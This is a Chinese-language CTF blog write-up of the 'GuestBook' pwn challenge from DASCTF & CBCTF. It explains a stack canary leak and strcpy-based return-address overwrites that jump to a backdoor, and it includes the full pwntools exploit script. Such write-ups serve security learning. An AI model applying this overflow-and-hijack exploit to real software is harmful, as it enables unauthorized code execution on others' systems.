Dasctf&CBctf-pwn部分题目复现

发布时间 2023-10-28 17:41:52作者: ModesL

打了一下Dasctf&CBCTF的pwn题目,感觉有些思路,但是就是做不出来,赛后发WP才恍然大悟,还是太菜了喵(

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

GuestBook

 

没开PIE开了canry和NX

main函数:

 首先是很明显的溢出,可以用此来泄露canary值,这部分还是很好做的,

然后就是可以留下信息,最多四次,发现有strcpy函数,将输入的信息到我们申请的堆上面,再用strcpy复制到栈上,但是这有一个小细节就是如果发送的数据中有‘/x00’那么就会被识别为字符串就会自动截断了,所以就得有0的时候就得多输入几次,而且这道题还直接给了后门,出题人真是个好人(。

 在这里还有一个细节那就是填充的数据是从栈底往上填充的,

那么知道了这个就可以进行我们栈上的布置了,首先先接收canary值,注意不要把00发送过去了

 第一次发送的时候把canary发送过去,同时把返回地址修改为0x4012C3

修改完返回地址后,我们再次strcpy到canary处,此时因为strcpy的特性,我们发过去的会自动带上'/x00',canary值我们没发过去的/x00就会得到补全,而再次发送就可以getshell了

exp(来自官方wp:)

from pwn import *

context.log_level = 'debug'
context.arch='amd64'

local=0

#p=remote('node4.buuoj.cn',26492)
p = process('./GuestBook')
def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def leak_canary():
    if(context.arch=='i386'):
        return u32(p.recv(7).rjust(8,b'\x00'))
    else:
        return u64(p.recv(7).rjust(8,b'\x00'))

sa("Please input your name: ","A"*24+":")
ru(":")
canary = leak_canary()

success("canary: "+hex(canary))

sa("How many messages would you like to leave(MAX 4): ",str(2))

#gdb.attach(p)
#pause()
#payload = 0x8*b'A'
#sl(payload)
#payload = 0x8*b'B'
#sl(payload)
#payload = 0x8*b'C'
#sl(payload)


payload = (0xA0-8)*b"A" + b'a' + p64(canary)[1:] + 8*b"B" + b"\xC3\x12\x40"
sl(payload)

payload = (0xA0-8-32)*b"A"
sl(payload)

p.interactive()

Binding:(待博主补充完毕)